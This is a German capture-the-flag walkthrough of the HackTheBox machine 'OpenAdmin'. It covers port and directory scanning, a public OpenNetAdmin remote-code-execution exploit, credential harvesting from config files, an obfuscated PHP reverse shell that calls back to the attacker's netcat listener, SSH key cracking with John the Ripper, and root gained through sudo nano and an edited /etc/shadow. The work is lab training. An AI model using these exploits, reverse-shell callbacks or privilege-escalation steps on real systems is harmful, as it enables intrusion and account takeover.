- Enumeration Teil 1 (Port Scan + Gobuster)
- OpenNetAdmin Exploit
- Enumeration Teil 2 (Scan und MySQL)
- Lokaler VirtualHost und PHP Scripting
- Decrypt SSH Key Passwort
- Root
OpenAdmin ist meine erste „Box“ und daher auch eine aus der Kategorie „einfach“. Kurz zusammengefasst geht es bei der Box darum einen bestimmten Webservice zu finden dessen Sicherheitslücke auszunutzen. Einmal im System findet man weitere Zugangsdaten, Über einen internen Dienst und ein PHP Script kommt man an den Key von User 2. Dieser muss geknackt werden. Root Zugang erhält man über das ausnutzen von erweiterten Rechten bezogen auf ein internes Tool.
Folgend eine Schritt für Schritt Anleitung. Alle Passwörter und Keys wurden unkenntlich gemacht. Als VM hab ich Kali-Linux genommen.
Port Scan
Mit nmap starte ich den obligatorischen scan nach offenen Ports. 10.10.10.171 ist die IP von OpenAdmin.
nmap -sC -sV -oA nmap 10.10.10.171
Wir sehen es läuft SSH auf Port 22 und ein Apache 2.4.29 auf Port 80. SSH erforder ein Kennwort (es nicht Admin). Also schauen wir uns den WebServer genauer an.
Beim Aufruf der IP sieht man nur die Startseite.
Keine Links und auch sonst keine nützlichen Infos. Daher mal sehen ob es noch andere Verzeichnisse gibt.
Scan nach Verzeichnissen
Mit Gobuster und der Medium Wordlist schau ich ob noch weitere Verzeichnisse erreichbar sind.
gobuster dir -o gobuster_openAdmin.out -w usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.171
Er findet 4 Stück (3 davon liefern ein 301 zurück und sind somit erreichbar).
Ich fange mit /music an und habe Glück, tatsächlich scheint es hier einen Login Bereich zu geben welcher uns direkt weiter bringt.
Denn wenn man auf diesen klickt, wird man direkt weitergeleitet auf ein Portal welches sich OpenNetAdmin nennt.
OpenNetAdmin Exploit
Interessant ist hier, neben der Tatsache, dass man von einer Music Seite auf ein Admin Portal ohne notwendige Anmeldedaten kommt 🙂 vor allem die Version von dem Portal. Eine kurze Suche über searchsploit zeigt nämlich, dass es zu genau der Version zwei bzw. einen Exploit gibt.
searchsploit openNetAdmin 18.1.1
Ich hab mich für die Variante ohne Metasploit entschieden und mir das sh script gespeichert
searchsploit -m exploits/php/webapps/47691.sh
Ein kurzer Blick ins Script zeigt, dass als zweiter Parameter (0 ist der Aufruf des Scriptes selbst) die URL verlangt wird und an diese dann per Curl der Payload schickt wird.
Ich teste das ganze also per ./47691.sh http://10.10.10.171/ona
Anmerkung: nicht mit sh
aufrufen, da man sonst den Parameter auf 2 im Script ändern müsste.
Das Script läuft jedoch erstmal auf einen Fehler:
Der Fehler $'\r': Kommando nicht gefunden.
besagt, dass das Script versucht Zeilenumbrüche zu interpretieren. Siehe mehr dazu hier.
Abhilfe schafft das installieren und ausführen von dos2unix.
apt install dos2unix dos2unix 47691.sh
Zugriff auf die Shell
Anschließend klappt es dann auch und ich bekomme eine Shell als www-data.
Wichtig ist, dass man hier die korrekte URL eingibt, also auch das korrekte Verzeichnis.
Enumeration
Erstmal auf dem System drauf gilt es so viele Informationen wie möglich zu sammeln. Hierfür gibt es (neben der Recherche per Hand), unzählige python und sh scripte. Ich hab die folgenden 3 laufen lassen, obwohl ich es zum weiter kommen nicht gebraucht hätte, aber das weiß man vorher ja nicht 🙂
- system_scan_py3.py (python3 version von linuxprivchecker.py)
- LinEnum
- linPEAS
Die Scripte führen eine von 1. aufsteigend längere und ausführlicherer Recherche durch und dementsprechend braucht linPEAS doch einige Zeit bis es durch gelaufen ist.
Um die Scripte aber erstmal auf den Ziel Server zu bekommen, brauchen wir einen Ort von welchem wir sie herunterladen können.
Python 3 Webserver
Mit Python lässt sich recht schnell und einfach ein eigener Webserver hochfahren. Da wir im VPN zu den HackTheBox Netzwerk sind, schauen wir über
ip ad show tun0
welche IP wir haben und sagen python mit
python3 -m http.server --bind 10.10.15.92 8080
das er auf dieser IP den Port 8080 aufmachen soll.
Jetzt können wir die Scripte mit
wget http://10.10.15.92:8080/system_scan_py3.py
auf dem openAdmin Server von unserem HTTP Server runterladen. Wichtig ist, als Root Verzeichnis verwendet Python das aktuelle Verzeichnis von welchem ihr den Server startet.
User und MySQL Daten finden
Parallel, während das ein oder andere Script läuft, hab ich mich schon mal auf dem Server umgeschaut. Als www-data user hat man zwar nicht allzu viel rechte, aber immerhin genug um auf die meisten Dateien im System lesend zugreifen zu können.
Das erste was ich mache ist zu schauen, welche User es auf dem System gibt, das geht über verschiedene Wege (die Scripte von oben geben das natürlich auch aus). Ich hab mal kurz ins /home Verzeichnis geschaut
Der Befehl users
würde auch gehen, wir haben also schon mal zwei User.
Ich fange an mich erstmal in dem Verzeichnis umzusehen in welchem im gelandet bin und welches ich, zumindest mit dieser Shell auch nicht verlassen kann, ein cd
funktioniert nicht. Das durchsuchen ist daher ein bisschen mühsam. Aber dafür gibt es eine Lösung, zeige ich weiter unten.
Interessant sind natürlich immer config Dateien und Verzeichnisse.
Im ersten config Verzeichnis finden wir eine config.inc.php
Dort finden wir zwar keine Login Daten aber einen Hinweis wo es welche geben könnte.
Tatsächlich gibt es einen Ordner local und dort einen unterordneter config.
Dort finden wir die für uns interessante Datei.
Der Inhalt zeigt uns einen Datenbanknamen, Login und Passwort.
An dieser Stelle haben wir auch schon das erste Kennwort mit welchem wir uns per SSH als jimmy auf dem Server einloggen können. Das bringt uns zum einem weitere Rechte und zum anderen haben wir damit die angenehme SSH Shell.
Wenn man aber schon mal SQL Anmeldedaten findet, möchte man die natürlich auch ausprobieren.
Jetzt könnte man natürlich per shell und der lokalen mysql console in die Datenbank schauen. Nachdem wir aber Schreibzugriff in dem aktuellen Verzeichnis haben gibt es dafür eine elegantere Lösung.
PHP SQL Browser
Adminer ist ein recht umfangreicher SQL Browser ähnlich phpMyAdmin aber das ganze in einer einzigen PHP Datei, genau das was wir brauchen!
Ich lade mir also das letzte Release, verschiebe es in meine python WebServer Verzeichnis und lade mir die PHP anschließend wieder auf dem Server runter.
Über http://10.10.10.171/ona/adminer.php
kann ich mich nun anmelden.
Nachdem ich die ein oder andere Tabelle durchgeklickt habe, hab ich eigentlich nur die Tabelle users
gefunden welche zwei Usernamen und MD5 Hashes enthält.
Der admin hat als Kennwort: admin und der guest: test. Ich hab mich auf dem Portal als Admin angemeldet, es ändert sich nichts, die Oberfläche bleibt die gleiche wie als guest.
Wie oben schon geschrieben haben wir mittlerweile aber eh schon Zugang per SSH. Daher geht es dort auch weiter.
SSH Login Jimmy
Mit dem Passwort welches wir für die MySQL Datenbank haben können wir uns auch als Jimmy per SSH anmelden.
Im Home Verzeichnis gibt es erstmal nichts spannendes zu sehen, die user.txt fehlt zumindest.
Wer sich aber in der WebServer Struktur umschaut, wird feststellen, dass dort ein Ordner „intern“ existiert, auf welchen nur jimmy Zugriff hat.
In der Ausgabe vom linPEAS Scrip taucht die Info auch auf(suche nach jimmy).
drwxr-xr-x 4 root root 4.0K Nov 22 18:15 . drwxr-xr-x 14 root root 4.0K Nov 21 14:08 .. drwxr-xr-x 6 www-data www-data 4.0K Nov 22 15:59 html drwxrwx--- 2 jimmy internal 4.0K Mar 6 21:45 internal lrwxrwxrwx 1 www-data www-data 12 Nov 21 16:07 ona -> /opt/ona/www
Ein blick dort rein zeigt, dass hier einige PHP Dateien liegen.
In der main.php kann ich eine interessante Zeile finden.
Das PHP Script soll wohl, bei erfolgreicher Session prüfung den private Key von joanna ausgeben.
Nachdem das internal Verzeichnis aber außerhalb vom Root Verzeichnis, des von extern erreichbaren apache2 servers, liegt kann ich die PHP Dateien so erstmal nicht aufrufen.
Nun, PHP bringt einen eigenen Webserver mit, welchen man, ähnlich wie den Python Webserver, in jedem beliebigen Verzeichnis starten kann.
$ php -S localhost:8000
Mehr dazu hier
Das bringt uns aber nicht wirklich weiter, da der PHP Websever in dem Benutzerkontext jimmy läuft. Wenn die main.php aber fähig sein soll auf das Home Directory von joanna zuzugreifen, kann der Webserver nicht als jimmy oder www-data ausgeführt werden. Zumindest nicht solange keiner von beiden Zugriff auf das Homeverzeichnis von joanna hat.
Es lohnt daher ein Blick in die Apache Configs.
Apache VirtualHost Config
Im Verzeichnis /etc/apache2/sites-enabled finde ich einen interessanten Eintrag.
Die internal.conf ist so nicht Standard und der Name passt zum Verzeichnis. Der Inhalt ist definitiv hilfreich für uns.
Aus der Config des VirtuelHost bekommen wir drei nützliche Infos:
- Er hört nur an der loopback Adresse 127.0.0.1
- Er verwendet den Port 52846
- Und das wichtigste: er läuft unter dem User joanna 🙂
Genug Infos um weiter machen zu können.
PHP Reverse Shell
Aus der Erkenntnis der Config wissen wir jetzt, dass wir den VirtualHost und das internal Verzeichnis nicht von extern ansprechen können, wir müssen also direkt auf dem Server sein damit wir an 127.0.0.1 rankommen.
CURL heißt die Lösung, über CURL können wir die localhost von lokal aus ansprechen und auch sonst alle möglichen Parameter, Header, Cookies etc. schicken. Ich hab mir die index.php und main.php angeschaut, theoretisch müsste man per CURL einen POST request absenden, die Session übergeben und würde somit die Ausgabe von dem joannas private SSH Key bekommen. Das hört sich nach viel bastelei an.
Ich checke nochmal das Verzeichnis und stelle fest, wir sind Eigentümer und haben somit volle Rechte auf den Ordner.
drwx
rwx--- 2 jimmy internal 4.0K Mar 6 21:45 internal
Warum also nicht einfach ein eigenes kleines PHP Script verwenden was mir direkt eine Shell unter dem Kontext joanna ermöglicht.
Ich hab meine abgewandelte Version von php-reverse-shell verwendet.
Abgewandelt deshalb, weil die original reverse-shell erfordert das man seine IP und Port in der Datei angibt, das war mir dann selbst für ein Testserver zu „unsicher“ 😀
Ich hab die PHP dahingehend verändert, das man seine IP und Port nun per Parameter übergeben kann, zudem hab ich ein paar Kommentare entfernt und sie zum Spaß einmal durch diesen PHP Obfuscator gejagt.
Rauskommen ist dieses smarte Shell
Auf der Gegenseite brauchen wir jetzt noch einen Endpunkt wo sich die Shell hin verbinden kann.
Dazu verwenden wir bei uns lokal nc (ncat), uber den folgen Befehl veranlassen wir unsere VM auf dem Port 1234 nach eingehenden Verbinden ausschau zu halten.
nc -lvnp 1234
Nachdem die bash.php über den python webserver übertragen ist, lässt sich diese dann wie folgt starten.
curl "http://localhost:52846/get_bash.php?ip=10.10.15.92&port=1234"
Wenn alles klappt bekommen wir eine Bash zurück und sind als joanna verbunden!
Mittlerweile arbeite ich schon in 3 bis 4 Sessions parallel, links oben läuft der python webserver, rechts oben die session von joanna und unten die session von jimmy.
Joanna
Im Home Verzeichnis von Johanna finden wir dann auch gleich die user.txt, welche den Key für das erste Achievement bei hackthebox.eu darstellt.
Run script and let search for joanna.
scp your_username@remotehost.edu:foobar.txt /local/dir
Mehr zum Thema reverse Shells:
https://www.metahackers.pro/reverse-shells-101/
SSH Key decrypten
Im nächsten Schritt geht es darum, das Passwort von joannas privaten SSH Key zu bekommen, denn die SSH Config besagt, dass man sich entweder mit einem Kennwort oder mit seinem private Key anmelden kann.
Wir finden den Key in joannas Home Verzeichnis
Wir kopieren uns den Key.
Und wandeln ihn in mit ssh2john in ein für John the Ripper lesbares Format um.
python2.7 /usr/share/john/ssh2john.py joanna
Da mein Windows Rechner einiges mehr an Leistung hat, lasse ich John dort laufen und innerhalb von kurzer Zeit wird mir das Kennwort ausgegben
Anschließend können wir uns mit ihrem Key und dem Kennwort für den Key per SSH einloggen
ssh joanna@10.10.10.171 -i id_rsa
Innerhalb der SSH Session probiere ich zuerst aus ob joanna ggf. sudo Recht hat. Da wir das Kennwort von joanna nicht haben klappt es erstmal nicht.
Eine weitere Möglichkeit nachzusehen ob ein user ggf. eingeschränkte sudo Rechte auf bestimmte Binarys oder Verzeichnisse hat geht mit dem Befehl
sudo -l
Ich bekomme ich eine interessante Ausgabe
Der Eintrag (welcher aus einer eigenen sudoers.d config namens „joanna“ stammt) besagt, dass wir nano mit dem Parameter /opt/priv als sudo starten können und zwar ohne Kennwort.
Root
Das reicht uns, denn einmal nano als root offen, können wir jede beliebige Datei laden und speichern, unter anderem die root.txt aus dem Verzeichnis /root/ oder direkt die /etc/shadow Datei, in welcher ich kurzerhand das root Kennwort ersetzt habe und mich anschließend per ssh. eingeloggt habe.
Das wars, wir sind root 🙂